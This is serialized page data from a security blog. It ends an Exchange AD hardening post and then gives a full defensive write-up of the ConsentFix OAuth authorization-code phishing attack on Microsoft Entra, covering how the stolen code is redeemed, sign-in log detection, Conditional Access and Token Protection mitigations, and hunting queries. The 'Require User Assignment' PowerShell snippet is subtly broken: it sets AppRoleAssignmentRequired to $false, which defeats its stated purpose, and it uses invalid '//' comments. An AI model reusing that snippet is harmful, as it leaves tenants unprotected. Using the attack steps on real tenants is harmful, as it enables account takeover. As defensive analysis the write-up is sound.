group\"",[806,4923,4924,4926,4929,4931],{},[2012,4925],{},[1732,4927,4928],{},"Re-enable New-Mailbox, New-RemoteMailbox, New-MailContact, Remove-... cmdlets with needed parameters:",[2012,4930],{},[2005,4932,4933,2021,4935,4937,4938,4940,4941,4911,4943,4945],{},[1584,4934,4901],{"style":4540},[1584,4936,4710],{"style":4560}," \"SplitPermission Mail Recipient Creation\" ",[1584,4939,4907],{"style":4560}," \"Mail Recipient Creation\" ",[1584,4942,4736],{"style":4560},[1584,4944,4727],{"style":4560}," \"Brings back New-Mailbox, New-RemoteMailbox, New-MailUser, New-MailContact and matching Remove-... cmdlets, but additionally Exchange needs AD ACL for Exchange Server on target OUs\"",[810,4947,4949],{"id":4948},"conclusions","Conclusions",[806,4951,4952],{},"I hope this guide helps more organizations take the important step of securing their Active Directory against compromise via Exchange. In my experience implementing the Exchange AD Split Permissions model across multiple customers, I have not encountered any issues and the adoption has been smooth.",[806,4954,4955],{},"I also hope Microsoft will introduce a native, OU-based approach to achieve this level of granularity, rather than the current all-or-nothing model, which would make widespread adoption significantly easier.",[806,4957,4958,4959,3363,4964,4969],{},"A note on AD Tiering: Please do not log on to Exchange servers with Domain Admin or any other Tier 0 accounts. Treat Exchange servers as Tier 1 and implement AD Tiering as soon as possible. As a first step, I recommend using ",[833,4960,4963],{"href":4961,"rel":4962},"https://www.pingcastle.com/",[1410],"PingCastle",[833,4965,4968],{"href":4966,"rel":4967},"https://www.semperis.com/purple-knight/",[1410],"Purple Knight"," to assess your AD security posture and identify control path exposures.",[3606,4971,4972],{},"\ncode {\n  font-size: inherit\n}\n",{"title":863,"searchDepth":864,"depth":864,"links":4974},[4975,4976,4977,4978,4981,4985],{"id":4332,"depth":864,"text":4333},{"id":4377,"depth":864,"text":4378},{"id":4476,"depth":864,"text":4477},{"id":4517,"depth":864,"text":4518,"children":4979},[4980],{"id":4527,"depth":1810,"text":4528},{"id":4639,"depth":864,"text":4640,"children":4982},[4983,4984],{"id":4690,"depth":1810,"text":4691},{"id":4888,"depth":1810,"text":4889},{"id":4948,"depth":864,"text":4949},{"lang":872,"seoTitle":4987,"titleClass":874,"date":4988,"blogtitlepic":4989,"socialimg":4990,"customExcerpt":4991,"keywords":4992,"hreflang":4993,"scripts":5000,"asideNav":5001,"maxContent":508,"published":508},"Exchange AD Split Permissions: Secure Active Directory with Least Privilege","2026-03-01","head-exchange-ad-split-permissions","/blog/heads/head-exchange-ad-split-permissions.jpg","Even organizations that have fully migrated their mailboxes to the cloud often still run on-premises Exchange servers and with them, an underestimated security risk for Active Directory. The \"AD Split Permissions\" model strips Exchange of the broad AD privileges attackers could exploit for a full domain compromise. Until now, adoption has largely failed due to the process changes it imposes on administrators. This article shows how to elegantly overcome exactly that hurdle: a script that selectively re-grants the lost AD permissions on the relevant OUs only, preserving the familiar admin workflow while still achieving the full security benefit.","Exchange Server, Active Directory, AD split permissions, RBAC, Exchange permissions, AdminSDHolder, least privilege, AD ACL, PowerShell",[4994,4996,4998],{"lang":4,"href":4995},"/de/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"lang":956,"href":4997},"/es/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"lang":872,"href":4999},"/en/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"slick":508,"form":508},{"menuItems":5002},[5003,5005,5007,5009,5011],{"href":5004,"text":4333},"#tldr-what-if-we-remove-the-downsides",{"href":5006,"text":4378},"#why-do-we-care-now",{"href":5008,"text":4477},"#but-why-is-no-one-doing-it",{"href":5010,"text":4518},"#show-me-this-no-regrets-option",{"href":5012,"text":4949},"#conclusions","/posts/2026-03-01-exchange-ad-split-permissions-hardening",{"title":4326,"description":863},"posts/2026-03-01-exchange-ad-split-permissions-hardening","hkisfzda-zMxfXpTjbzW6AZQFWGFz-dDIiiCtNCVq_8",{"id":5018,"title":5019,"author":5020,"body":5021,"cta":764,"description":5025,"eventid":764,"extension":869,"hideInRecent":749,"layout":870,"meta":5803,"moment":5805,"navigation":508,"path":5831,"seo":5832,"stem":5833,"tags":5834,"webcast":749,"__hash__":5837},"content_en/posts/2025-12-31-vulnerability-consentfix.md","AuthCodeFix aka ConsentFix",[1185,1065,1221],{"type":803,"value":5022,"toc":5783},[5023,5026,5029,5032,5038,5041,5044,5053,5058,5066,5086,5089,5095,5098,5101,5107,5112,5116,5126,5132,5135,5138,5142,5145,5151,5158,5161,5181,5191,5195,5198,5201,5204,5207,5211,5214,5217,5234,5243,5247,5251,5271,5275,5280,5291,5294,5300,5304,5318,5322,5333,5337,5340,5348,5351,5359,5362,5370,5374,5377,5398,5401,5465,5468,5471,5474,5477,5480,5486,5489,5530,5534,5549,5553,5557,5571,5574,5577,5582,5585,5596,5600,5607,5611,5617,5622,5636,5642,5648,5654,5665,5668,5674,5677,5702,5710,5714,5734,5740,5743,5749,5753],[806,5024,5025],{},"As it is tradition right before the end of the year, a new vulnerability or clever attack vector appears, and Defenders are left trying to protect their users. Meanwhile, other attackers and red teamers watch closely and adapt.",[806,5027,5028],{},"This year, PushSecurity detected an attack that they named \"ConsentFix\", an evolution of the ClickFix attack that relies on the user to provide the attacker with a URI that basically hands over the key to the Entra kingdom. The method used in the wild relied on a manual copy and paste action by the user to work. Within a few days, John Hammond released a video demonstrating an improved version of the attack that no longer required copy and paste, instead, the user could simply drag and drop their auth code to the attacker.",[806,5030,5031],{},"When we look into the technical details of why this attack works and seemingly bypasses device compliance and other Conditional Access requirements, we find ourselves in the OAuth 2.0 authorization code flow.",[806,5033,5034],{},[1449,5035],{"alt":5036,"src":5037},"OAuth 2.0 authorization code flow","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-01.png",[806,5039,5040],{},"The attacker creates a Microsoft Entra login URI that targets the \"Microsoft Azure CLI\" client and the \"Azure Resource Manager\" resource, and opens this URI when the user visits the malicious website.",[806,5042,5043],{},"Mapped to the authorization code flow, this corresponds to the first step that a native public app such as the Azure CLI would normally call to authenticate the user. The application creates a listener on the machine on which it is executed, on a random high port. This port is used as a so called reply URI.",[806,5045,5046,5047,5052],{},"You can easily reproduce this yourself, for example by using ",[833,5048,5051],{"href":5049,"rel":5050},"https://github.com/f-bader/TokenTacticsV2",[1410],"TokenTacticsV2",", or by crafting the URI manually.",[806,5054,5055],{},[1449,5056],{"alt":5051,"src":5057},"https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-02.png",[806,5059,5060,5061,5065],{},"After the user successfully signs into Entra ID, the user is redirected to the reply URI, e.g., ",[833,5062,5063],{"href":5063,"rel":5064},"http://localhost:3001",[1410],". In a normal scenario, the Azure CLI would now accept the call to this URI and would receive the important and critical information that is part of the redirect:",[2733,5067,5068,5078],{},[2736,5069,5070,5072,5074,5075,5077],{},[1732,5071,1546],{},[2012,5073],{},"\nThis is the authorization_code, which the application uses to request a bearer token, which consists of access, ID, and optionally the refresh token.",[2012,5076],{},"\nAccording to the documentation, this code is valid for around 10 minutes and must be redeemed within this time.",[2736,5079,5080,5083,5085],{},[1732,5081,5082],{},"state",[2012,5084],{},"\nThis is an optional parameter, and the application should verify whether it is identical in the request and response.",[806,5087,5088],{},"In the attack scenario, the user is also redirected, but since no application is running on localhost, the browser encounters an error.",[806,5090,5091],{},[1449,5092],{"alt":5093,"src":5094},"The browser runs into an error","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-03.png",[806,5096,5097],{},"But the URI still contains the sensitive information and this is what the attacker wants the user to provide them. If the user obliges the attacker will now redeem the token material and can then use the access and refresh token to access the resource, in this case Azure Resource Manager.",[806,5099,5100],{},"In this screenshot you will see how to retrieve the bearer token using the URI provided by the user.",[806,5102,5103],{},[1449,5104],{"alt":5105,"src":5106},"Bearer token using the URI provided by the user","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-04.png",[3589,5108,5109],{},[806,5110,5111],{},"If you want to test your detections, make sure you execute the last step from a different system, in a different network.",[810,5113,5115],{"id":5114},"detection-artifacts","Detection artifacts",[806,5117,5118,5119,835,5122,5125],{},"When you reproduce the attack and check the ",[1546,5120,5121],{},"SigninLogs",[1546,5123,5124],{},"AADNonInteractiveUserSignInLogs",", you'll see two events for this single sign-in activity. The first event represents the actual user sign-in, while the second originates from the attacker's infrastructure.",[806,5127,5128],{},[1449,5129],{"alt":5130,"src":5131},"Activity Log","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-05.png",[806,5133,5134],{},"The big difference is that the first event is an interactive sign in event, while the second is non-interactive. This translates to the two stages of the authentication flow: first the user, then the application or in our case the attacker.",[806,5136,5137],{},"Regular behavior of the Azure CLI would be that both sign-in events originate from the same IP address. However, in our case the IP addresses are different, and they originate from different countries. Of course, the latter is not a reliable indicator, as the attacker could reside in the same country as the victim to hide their tracks.",[1667,5139,5141],{"id":5140},"missing-link","Missing link",[806,5143,5144],{},"When looking for a good way to link those two events, the natural first idea was to check the Unique Token Identifier (UTI). However, Microsoft uses different values for the authorization code UTI and the bearer token UTI, so this approach doesn't work as a reliable link.",[806,5146,5147],{},[1449,5148],{"alt":5149,"src":5150},"Unique Token Identifier","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-06.png",[806,5152,5153,5154,5157],{},"However, the ",[1546,5155,5156],{},"SessionId"," is a good link between the two, though it is a long-running ID and might contain multiple of these event combinations, even legitimate ones.",[806,5159,5160],{},"With the additional knowledge of the auth code flow limitations and the user and application id as additional links you can use time as an important detection factor:",[2733,5162,5163,5166,5169,5172,5175,5178],{},[2736,5164,5165],{},"Both events share the same SessionId",[2736,5167,5168],{},"Both events share the same ApplicationId",[2736,5170,5171],{},"Both events share the same UserId",[2736,5173,5174],{},"The second event must be after the first event",[2736,5176,5177],{},"The second event must be within approximately a 10-minute time window after the first event. You should not use exactly 10 minutes as Microsoft writes \"[...] they expire after about 10 minutes\"",[2736,5179,5180],{},"You should only consider the very next second event, not subsequent ones",[3589,5182,5183],{},[806,5184,5185,5188,5190],{},[1732,5186,5187],{},"Fun fact",[2012,5189],{},"\nThe ResourceIdentity is not a good link, as the attacker can change the resource since it is not bound to the auth code. The targeted application ID cannot be changed.",[810,5192,5194],{"id":5193},"reduce-the-noise","Reduce the noise",[806,5196,5197],{},"This knowledge already provided us with a good working detection, but there were benign positives in the mix as well. Modern developers use cloud resources that appear like local instances, but result in irregular login patterns in the logs.",[806,5199,5200],{},"The key difference is the time component. While the attack requires user interaction to copy and paste or drag and drop the URI, the GitHub Codespace use case we identified as the source of the benign positive alerts is completely automated and redeems the auth code within mere seconds.",[806,5202,5203],{},"So filtering out anything that does this authentication dance within a few seconds can most likely be removed as benign.",[806,5205,5206],{},"Another source of noise could be changing egress points for your internet traffic, especially in SD-WAN, ZTNA or Secure Web Gateway scenarios.",[810,5208,5210],{"id":5209},"affected-first-party-applications","Affected first-party applications",[806,5212,5213],{},"While the initial report shows \"Microsoft Azure CLI\" as the abused application there are a lot of different Microsoft first-party apps with pre-consent in every tenant that offer localhost as redirect. And not only those are a target. The attacker could also abuse reply test and dev URLs that are not publicly resolvable.",[806,5215,5216],{},"Here is a list of the most notable applications that also have high pre-consentet permissions on resources.",[2733,5218,5219,5222,5225,5228,5231],{},[2736,5220,5221],{},"Microsoft Azure CLI (04b07795-8ddb-461a-bbee-02f9e1bf7b46)",[2736,5223,5224],{},"Microsoft Azure PowerShell (1950a258-227b-4e31-a9cf-717495945fc2)",[2736,5226,5227],{},"Visual Studio (04f0c124-f2bc-4f59-8241-bf6df9866bbd)",[2736,5229,5230],{},"Visual Studio Code (aebc6443-996d-45c2-90f0-388ff96faa56)",[2736,5232,5233],{},"MS Teams PowerShell Cmdlets (12128f48-ec9e-42f0-b203-ea49fb6af367)",[806,5235,5236,5237,5242],{},"A full list of these apps are now included in ",[833,5238,5241],{"href":5239,"rel":5240},"https://entrascopes.com/?authcodeFix=true",[1410],"EntraScopes.com"," by our colleague Fabian Bader.",[810,5244,5246],{"id":5245},"mitigations-and-protections","Mitigations and Protections",[1667,5248,5250],{"id":5249},"limit-the-attack-surface-and-audience","Limit the attack surface and audience",[1536,5252,5255,5258,5259,5261,5264,5265,5267,5270],{"className":5253},[5254],"option-block",[1732,5256,5257],{},"Deployment effort:"," Low to High (depends on effort to identify legitimate users)",[2012,5260],{},[1732,5262,5263],{},"Mitigation:"," Medium (reduces the potential audience for the attack)",[2012,5266],{},[1732,5268,5269],{},"Scope:"," limited\n",[1667,5272,5274],{"id":5273},"option-1-require-user-assignment","Option 1: Require User Assignment",[5276,5277,5279],"h4",{"id":5278},"pre-requisites","Pre-requisites:",[2733,5281,5282,5285,5288],{},[2736,5283,5284],{},"Add the service principal for affected first-party apps by using Microsoft Graph API or PowerShell",[2736,5286,5287],{},"Apply the user assignment requirement on the service principal object using Microsoft Graph API or PowerShell",[2736,5289,5290],{},"Establish a process to assign users upon request via Access Packages, PIM-for-Groups (for just-in-time access), or a combination of both.",[3606,5292,5293],{},"\n.code-block {\n  background-color: #f6f8fa;\n  padding: 0 16px 16px 16px;\n  border-radius: 6px;\n  font-family: Menlo, Consolas, Monaco, \"Courier New\", monospace;\n  font-size: 14px;\n  line-height: 1.5;\n  overflow-x: auto;\n  white-space: pre;\n  border: 1px solid #d0d7de;\n}\n",[1540,5295,5297],{"className":5296},[2005],[1546,5298,5299],{},"\n// Example for Microsoft Graph PowerShell\nConnect-MgGraph -Identity\n$AppId = \"04b07795-8ddb-461a-bbee-02f9e1bf7b46\" // Microsoft Azure CLI\n$sp = Get-MgServicePrincipal -Filter \"appId eq '$AppId'\"\nUpdate-MgServicePrincipal -ServicePrincipalId $sp.Id -AppRoleAssignmentRequired:$false\n",[5276,5301,5303],{"id":5302},"benefit","Benefit:",[2733,5305,5306,5309,5312,5315],{},[2736,5307,5308],{},"Enables management of user assignments through Access Packages or manual group membership to limit exposure to this attack technique.",[2736,5310,5311],{},"Option to provide just-in-time access combined with eligible group membership assignment, allowing temporary access to CLI tools and thereby further reducing the attack surface.",[2736,5313,5314],{},"Applied before evaluating Conditional Access policies.",[2736,5316,5317],{},"Limits the attack surface for other scenarios as well.",[5276,5319,5321],{"id":5320},"disadvantage","Disadvantage:",[2733,5323,5324,5327,5330],{},[2736,5325,5326],{},"Can only be scoped to specific users and not combined with other requirements like usage of specific devices",[2736,5328,5329],{},"All legitimate CLI tool users must be identified",[2736,5331,5332],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins.",[1667,5334,5336],{"id":5335},"option-2-block-access-by-using-conditional-access-policies","Option 2: Block access by using Conditional Access Policies",[5276,5338,5279],{"id":5339},"pre-requisites-1",[2733,5341,5342,5345],{},[2736,5343,5344],{},"Create a Conditional Access policy to block access to CLI tools, excluding legitimate users, by targeting \"Microsoft Graph Command Line Tools\" and \"Windows Azure Service Management API\"",[2736,5346,5347],{},"Manage exclusions via group membership, either manually or through entitlement management (e.g., Access Packages).",[5276,5349,5303],{"id":5350},"benefit-1",[2733,5352,5353,5356],{},[2736,5354,5355],{},"Prevents token issuance for non-legitimate or non-privileged users.",[2736,5357,5358],{},"Allows granular scoping based on additional conditions such as device or network.",[5276,5360,5321],{"id":5361},"disadvantage-1",[2733,5363,5364,5367],{},[2736,5365,5366],{},"All legitimate CLI tool users must be identified and excluded.",[2736,5368,5369],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins and evaluating the policy in report-only mode.",[1667,5371,5373],{"id":5372},"block-token-issuance-by-authorization-code-flow","Block token issuance by authorization code flow",[3606,5375,5376],{},"\n.option-block {\n  background-color: #f6f8fa;\n  padding: 16px;\n  margin-bottom:2rem;\n  border-radius: 6px;\n  overflow-x: auto;\n  border: 1px solid #d0d7de;\n}\n",[1536,5378,5380,5383,5384,5386,5388,5389,5391,5388,5393,5395,5397],{"className":5379},[5254],[1732,5381,5382],{},"Option:"," Require Token Protection",[2012,5385],{},[1732,5387,5257],{}," High",[2012,5390],{},[1732,5392,5263],{},[2012,5394],{},[1732,5396,5269],{}," Very limited\n",[5276,5399,5279],{"id":5400},"pre-requisites-2",[2733,5402,5403,5406,5409,5428],{},[2736,5404,5405],{},"Microsoft Entra ID P1 licenses",[2736,5407,5408],{},"Entra ID Registered Devices, Hybrid or Entra ID-joined devices on Windows platform",[2736,5410,5411,5412,2285,5417,835,5422,5427],{},"Enable Web Account Manager (WAM) in ",[833,5413,5416],{"href":5414,"rel":5415},"https://learn.microsoft.com/en-us/cli/azure/authenticate-azure-cli-interactively?view=azure-cli-latest#sign-in-with-web-account-manager-wam-on-windows",[1410],"Azure CLI",[833,5418,5421],{"href":5419,"rel":5420},"https://learn.microsoft.com/en-us/powershell/azure/configure-global-settings?view=azps-15.1.0#web-account-manager-wam",[1410],"Azure PowerShell",[833,5423,5426],{"href":5424,"rel":5425},"https://learn.microsoft.com/en-us/powershell/module/microsoft.graph.authentication/set-mggraphoption?view=graph-powershell-1.0#set-web-account-manager-support",[1410],"Microsoft Graph PowerShell"," (default in latest versions)",[2736,5429,5430,5431],{},"Configure Conditional Access targeting:\n",[2733,5432,5433,5447,5454],{},[2736,5434,5435,5436],{},"Cloud App targeting to the following apps:\n",[2733,5437,5438,5441,5444],{},[2736,5439,5440],{},"Office 365 Exchange Online",[2736,5442,5443],{},"Office 365 SharePoint Online",[2736,5445,5446],{},"Microsoft Teams Services",[2736,5448,5449,5450,5453],{},"Client apps under ",[4653,5451,5452],{},"Mobile apps and desktop clients"," to require Token Protection.",[2736,5455,5456,5457,5460,5461,5464],{},"Select ",[4653,5458,5459],{},"Windows"," as ",[4653,5462,5463],{},"device platform"," for targeting the policy",[5276,5466,5303],{"id":5467},"benefit-2",[806,5469,5470],{},"Microsoft Entra’s token protection requires proof‑of‑possession (PoP), which can only be enforced when the client communicates directly with a trusted token broker such as the Web Account Manager (WAM) on Windows. Because browsers cannot establish this secure channel, the authorization code flow initiated in a browser is blocked under token protection policies.",[806,5472,5473],{},"When the policy enforces token protection that requires broker‑managed PoP, the authorization code returned to a browser cannot be redeemed because the browser cannot produce the required broker‑signed proof during the code to token exchange",[806,5475,5476],{},"In this case, attacks with AuthCodeFix will be fully mitigated as long the application can be protected by Token Protection.",[806,5478,5479],{},"As shown in the screenshot below, Token Protection successfully mitigates the redemption of the authorization code flow initiated by the victim through a phishing action.",[806,5481,5482],{},[1449,5483],{"alt":5484,"src":5485},"Token Protection successfully mitigates the redemption of the authorization code flow","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-07.png",[5276,5487,5321],{"id":5488},"disadvantage-2",[2733,5490,5491,5521,5524,5527],{},[2736,5492,5493,5494],{},"Only the following resources are officially supported:\n",[2733,5495,5496,5498,5500],{},[2736,5497,5440],{},[2736,5499,5443],{},[2736,5501,5446,5502,5504,5506,5507,835,5510,5514,5515,5520],{},[2012,5503],{},[2012,5505],{},"\nThe Microsoft Graph API is indirectly covered by the previously mentioned resources and Microsoft Graph PowerShell is listed as a supported client. We were able to verify in our testing that the attack for this scenario will be mitigated. “Windows Azure Service Management API\" is not listed as a supported resource. Both CLI clients (",[833,5508,5416],{"href":5414,"rel":5509},[1410],[833,5511,5421],{"href":5512,"rel":5513},"https://learn.microsoft.com/en-us/powershell/azure/authenticate-interactive?view=azps-15.1.0#benefits-of-wam",[1410],") support WAM which is a client-side requirement to use Token Protection. Microsoft has been announced ",[833,5516,5519],{"href":5517,"rel":5518},"https://techcommunity.microsoft.com/blog/microsoft-entra-blog/how-to-break-the-token-theft-cyber-attack-chain/4062700",[1410],"in a blog post"," to extend token protection capabilities for Azure management scenarios.",[2736,5522,5523],{},"Some bugs in Microsoft Graph PowerShell force you to temporarily disable WAM integration",[2736,5525,5526],{},"Side effects and organizational impact must be carefully assessed by reviewing previous sign-ins and evaluating the policy in report-only mode. The cloud app targeting will also effect productivity access to Microsoft 365.",[2736,5528,5529],{},"Limited scope due to availability on supported platforms and Entra ID–integrated devices.",[1667,5531,5533],{"id":5532},"block-further-token-issuance-by-compliant-network-check-or-trusted-network","Block further token issuance by compliant network check or trusted network",[1536,5535,5537,5539,5540,5542,5539,5544,5546,5548],{"className":5536},[5254],[1732,5538,5257],{}," Medium",[2012,5541],{},[1732,5543,5263],{},[2012,5545],{},[1732,5547,5269],{}," Broad\n",[1667,5550,5552],{"id":5551},"option-block-access-outside-of-compliant-network-with-global-secure-access","Option: Block access outside of Compliant network with Global Secure Access",[5276,5554,5556],{"id":5555},"pre-requisite","Pre-requisite:",[2733,5558,5559,5562,5565,5568],{},[2736,5560,5561],{},"Entra ID P1 license",[2736,5563,5564],{},"Entra ID Registered Devices, Hybrid or Entra ID-joined devices on Windows, macOS, Androind and iOS platform",[2736,5566,5567],{},"Global Secure Access Client on all affected clients and enabled Entra Internet Access for M365 Traffic Profile",[2736,5569,5570],{},"Conditional Access Policy to enforce network compliant check should be applied to all cloud apps",[5276,5572,5303],{"id":5573},"benefit-3",[806,5575,5576],{},"Block additional token issuance by enforcing a trusted network check. This mitigation ensures attackers cannot obtain new tokens using the refresh token from the authorization code flow. However, it does not prevent the initial redemption of the authorization code or the issuance of the first access token, which remains valid outside the compliant network because it was originally requested by the victim.",[3589,5578,5579],{},[806,5580,5581],{},"Enforcing GSA with the Compliant Network condition also blocks other Token Replay scenarios and adds additional logs which can be very useful for detections and hunting.",[5276,5583,5321],{"id":5584},"disadvantage-3",[2733,5586,5587,5590,5593],{},[2736,5588,5589],{},"Only applicable for users and devices with deployed Global Secure Access client",[2736,5591,5592],{},"Limited scope due to availability on Entra ID–integrated devices",[2736,5594,5595],{},"Enforcing Compliant Networks via CA will need some Exclusions like Intune to avoid chicken-egg-problems. Detailed testing is needed before rollout",[810,5597,5599],{"id":5598},"hunting-queries","Hunting queries",[806,5601,5602,5603,5606],{},"Once all the prerequisites for token theft mitigations are met - such as deploying the GSA client (including ingestion of ",[1546,5604,5605],{},"NetworkAccessTraffic"," logs) and taking benefit of WAM authentication - we gain additional options for threat hunting and verification.",[1667,5608,5610],{"id":5609},"leveraging-gsa-logs-and-wam-authentication-for-hunting-or-verify-confidence-on-detection-results","Leveraging GSA Logs and WAM Authentication for hunting or verify confidence on detection results",[806,5612,5613,5614,5616],{},"This hunting query leverages ",[1546,5615,5605],{}," logs from Global Secure Access (GSA), which include the initiating process for communication with the Microsoft Entra token endpoint. This helps determine whether a token request originated directly from a browser and also whether any additional token requests were made outside the GSA network.",[3589,5618,5619],{},[806,5620,5621],{},"This query works and delivers only reliable results when the prerequisites are met; otherwise, it leads to a high false-positive rate.",[806,5623,5624,5627,5628,5631,5632,5635],{},[1732,5625,5626],{},"Why this matters:"," When signing in via CLI or PowerShell modules using Web Account Manager (WAM) on Windows Devices, the flow does not involve a browser-based authorization code. This sign-in behavior is the default in the latest version. Therefore, if the initiating process is a browser executable (e.g., ",[1546,5629,5630],{},"msedge.exe","), this is a strong indicator of suspicious activity. On macOS, the process is initiated by the Company Portal app (",[1546,5633,5634],{},"com.microsoft.CompanyPortalMac.ssoextension",")  when using Platform SSO.",[806,5637,5638,5641],{},[1732,5639,5640],{},"Token Binding and PoP:"," WAM authentication typically binds tokens to the device by enforcing Proof-of-Possession (PoP). Attackers cannot issue further bounded tokens without PoP, so an unbounded refresh token is another strong indicator.",[806,5643,5644,5647],{},[1732,5645,5646],{},"Limitations:"," All the mentioned signals are only available when the accessing device is registered with or joined to Microsoft Entra ID.",[806,5649,5650,5653],{},[1732,5651,5652],{},"Confidence Score Logic:"," The query combines multiple signals to calculate a confidence score:",[2733,5655,5656,5659,5662],{},[2736,5657,5658],{},"Presence of a browser process initiating token requests.",[2736,5660,5661],{},"Detection and down grade to unbounded tokens.",[2736,5663,5664],{},"Network provider changes (including Compliant to non-compliant) between sign-ins.",[806,5666,5667],{},"These signals can be used in the query to hunt for activity or to derive a confidence score in the event of an incident based on the previous detection.",[806,5669,5670],{},[1449,5671],{"alt":5672,"src":5673},"Signals for the hunting query","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-08.png",[806,5675,5676],{},"The following scoring will be shown depending on the conditions:",[806,5678,5679,5682,5683,5685,5686,5688,5690,5693,5694,5696,5698,5701],{},[1732,5680,5681],{},"A very high confidence score"," is displayed when ",[1546,5684,5605],{}," logs indicate a familiar browser process instead of initiating a token request, and a downgrade of an unbound token has been detected.",[2012,5687],{},[2012,5689],{},[1732,5691,5692],{},"A high confidence score"," is shown when the sign-in occurs from a different Network Provider (ASN) and a non-compliant network involving unbound tokens.",[2012,5695],{},[2012,5697],{},[1732,5699,5700],{},"A medium confidence score"," is shown when only a change in Network Provider and compliant network is identified, along with a change in the token type used.",[806,5703,5704,5705,2491],{},"You’ll find the latest version of the hunting query on ",[833,5706,5709],{"href":5707,"rel":5708},"https://github.com/Cloud-Architekt/AzureSentinel/blob/main/Hunting%20Queries/EID-Authentication/ConsentFix-HuntingConfidenceOnTokenAndNetworkSignals.kusto",[1410],"GitHub",[1667,5711,5713],{"id":5712},"hunting-for-activities-by-issued-tokens","Hunting for activities by issued tokens",[806,5715,5716,5717,5722,5723,5726,5727,5729,5730,5733],{},"You should consider expanding your investigation beyond sign-in events to include activities performed using tokens issued by the attacker. Our colleague Thomas Naunheim has ",[833,5718,5721],{"href":5719,"rel":5720},"https://github.com/Cloud-Architekt/AzureSentinel/blob/main/Hunting%20Queries/EID-TokenHunting/MicrosoftCloudActivity.func",[1410],"published a KQL function"," called ",[1546,5724,5725],{},"MicrosoftCloudActivity",", which can assist in this extended hunting process. Additionally, the affected ",[1546,5728,5156],{}," can be correlated with suspicious ",[1546,5731,5732],{},"UniqueId"," values identified during previous hunts for deeper analysis.",[806,5735,5736],{},[1449,5737],{"alt":5738,"src":5739},"KQL function","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-09.png",[806,5741,5742],{},"In this example, the attacker leveraged the refresh token obtained during the attack to issue an access token for the Microsoft Graph API. This token was then used to maintain persistent access and lateral movement by adding a client secret to an application owned by the victim. The query provides details about the Graph API operation, including the token protection status and whether the operation occurred outside the Global Secure Access network.",[806,5744,5745],{},[1449,5746],{"alt":5747,"src":5748},"Graph API operation screenshot","https://res.cloudinary.com/c4a8/image/upload/blog/pics/consentfix-img-10.png",[810,5750,5752],{"id":5751},"further-reading","Further Reading",[2733,5754,5755,5762,5769,5776],{},[2736,5756,5757],{},[833,5758,5761],{"href":5759,"rel":5760},"https://pushsecurity.com/blog/consentfix",[1410],"ConsentFix: Analysing a browser-native ClickFix-style attack that hijacks OAuth consent grants - PushSecurity",[2736,5763,5764],{},[833,5765,5768],{"href":5766,"rel":5767},"https://youtu.be/AAiiIY-Soak",[1410],"Hacking Endpoint to Identity (Microsoft 365): \"ConsentFix\" - YouTube",[2736,5770,5771],{},[833,5772,5775],{"href":5773,"rel":5774},"https://learn.microsoft.com/en-us/entra/identity-platform/v2-oauth2-auth-code-flow",[1410],"Microsoft identity platform and OAuth 2.0 authorization code flow",[2736,5777,5778],{},[833,5779,5782],{"href":5780,"rel":5781},"https://entrascopes.com/?appId=04b07795-8ddb-461a-bbee-02f9e1bf7b46",[1410],"Microsoft Azure CLI on entrascpes.com",{"title":863,"searchDepth":864,"depth":864,"links":5784},[5785,5788,5789,5790,5798,5802],{"id":5114,"depth":864,"text":5115,"children":5786},[5787],{"id":5140,"depth":1810,"text":5141},{"id":5193,"depth":864,"text":5194},{"id":5209,"depth":864,"text":5210},{"id":5245,"depth":864,"text":5246,"children":5791},[5792,5793,5794,5795,5796,5797],{"id":5249,"depth":1810,"text":5250},{"id":5273,"depth":1810,"text":5274},{"id":5335,"depth":1810,"text":5336},{"id":5372,"depth":1810,"text":5373},{"id":5532,"depth":1810,"text":5533},{"id":5551,"depth":1810,"text":5552},{"id":5598,"depth":864,"text":5599,"children":5799},[5800,5801],{"id":5609,"depth":1810,"text":5610},{"id":5712,"depth":1810,"text":5713},{"id":5751,"depth":864,"text":5752},{"lang":872,"seoTitle":5804,"titleClass":874,"date":5805,"categories":5806,"blogtitlepic":5807,"socialimg":5808,"customExcerpt":5809,"keywords":5810,"hreflang":5811,"scripts":5816,"asideNav":5817,"maxContent":508,"published":508},"ConsentFix: How a New OAuth Attack Bypasses Microsoft Entra Conditional Access","2025-12-31",[371],"head-consentfix","/heads/head-consentfix.jpg","Just before year's end, ConsentFix emerges: a clever OAuth-based attack that abuses legitimate authentication flows to steal the authorization code, effectively handing attackers the keys to Microsoft Entra. We break down why this works despite Conditional Access, which signals it leaves behind in the logs, and how defenders can detect and stop it before real damage is done.","ConsentFix attack, OAuth authorization code theft, Microsoft Entra OAuth attack, Azure CLI token abuse, Entra ID Conditional Access bypass, authorization code phishing, token replay attack Azure, Proof of Possession tokens, WAM authentication security, Azure sign-in log analysis, detect OAuth attacks Entra, Azure identity threat hunting, Global Secure Access token protection, Microsoft Entra security detection",[5812,5814],{"lang":4,"href":5813},"/de/posts/2025-12-31-vulnerability-consentfix",{"lang":956,"href":5815},"/es/posts/2025-12-31-vulnerability-consentfix",{"slick":508,"form":508},{"menuItems":5818},[5819,5821,5823,5825,5827,5829],{"href":5820,"text":5115},"#detection-artifacts",{"href":5822,"text":5194},"#reduce-the-noise",{"href":5824,"text":5210},"#affected-first-party-applications",{"href":5826,"text":5246},"#mitigations-and-protections",{"href":5828,"text":5599},"#hunting-queries",{"href":5830,"text":5752},"#further-reading","/posts/2025-12-31-vulnerability-consentfix",{"title":5019,"description":5025},"posts/2025-12-31-vulnerability-consentfix",[5835,5836,432],"OAuth 2.0","Microsoft Entra 